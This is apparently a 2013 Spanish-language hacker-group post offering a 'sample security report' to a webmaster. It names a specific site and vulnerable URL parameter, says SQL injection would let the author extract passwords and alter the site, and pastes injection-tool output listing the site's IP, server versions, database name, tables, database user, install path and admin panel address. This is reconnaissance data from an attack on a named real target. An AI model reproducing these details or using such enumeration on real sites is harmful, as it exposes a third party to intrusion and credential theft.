Ejemplo de Reporte de seguridad #REPORT #2013 /Yei Zeta Post

###########################################################################################
#               :     : o   :             #
#           _..-:   0 :     :-.._    /    #title:Ejemplo de Reporte de seguridad #REPORT #2013 /Yei Zeta Post/
#       .-''  '  `---' `---' "   ``-.     #*The Ciber War In 2013
#     .'   "   '  "  .    "  . '  "  `.   #*Informaticos
#    :   '.---.,,.,...,.,.,.,..---.  ' ;  #*2013-2018
#    `. " `.                     .' " .'  #*Grupo: The Joker Hack
#     `.  '`.   .-/|||||||\-.   .' ' .'   #*Red Social:https://www.facebook.com/TheJokerTeamHack
#      `.    `-._   \|||/   _.-' "  .'    #
#        `. "    '"--...--"'  . ' .'      #Created by: Yei zeta
#       .'`-._'    " .     " _.-'`.       #
#      .'      ```--.....--'''    ' `:    #Info: the joker hack se hace responsable de la información.
##################################################################################################
Info:Muchos reportes se Asen con "Word" pero eso es solo con empresas grandes
##################################################################################################

Ejemplo sencillo:

_Saludos sr.Webmaster requiero de su atencion para reportar la siguiente falla de seguridad e encontrado una falla conocida como (SQL INJECTION) ¿Que podria aser con SQL INJECTION? La SQL Injection me podria beneficiar en romper la base de datos y extraer sus contraseñas para acceder a su sitio web y modificar el contenido aca un ejemplo:


http://www.djnev.com/Generarenlace.php?id= -> Falla Se Encuentra (ACA)

y este fue mi resultado:

Host IP: 87.106.193.77
Web Server: Apache
Powered-by: PHP/5.2.17
Keyword Found: mysql_fetch_array():
I guess injection type is Integer?! If injection failed, retry with a manual keyword.
DB Server: MySQL
Selected Column Count is 20
Valid String Column is 1
Current DB: db424358332
Count(table_name) of information_schema.tables where table_schema=0x6462343234333538333332 is 11
Tables found: biografia,clientes,conectados,contador,control_ip,descargas,eventos,poblaciones,provincias,youtube,youtube2


(http://djnev.com/admin) 23.20.118.189

Installation dir: 	/usr/local/mysql-5.1.71-linux-i686-glibc23/
DB User: 	'dbo424358332'@'%'
Data Bases: 	information_schema
		db424358332

SCHEMA:CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS


(EL USUARIO SERA RESERVADO NUNCA EXPUESTO A NUESTRO CLIENTE)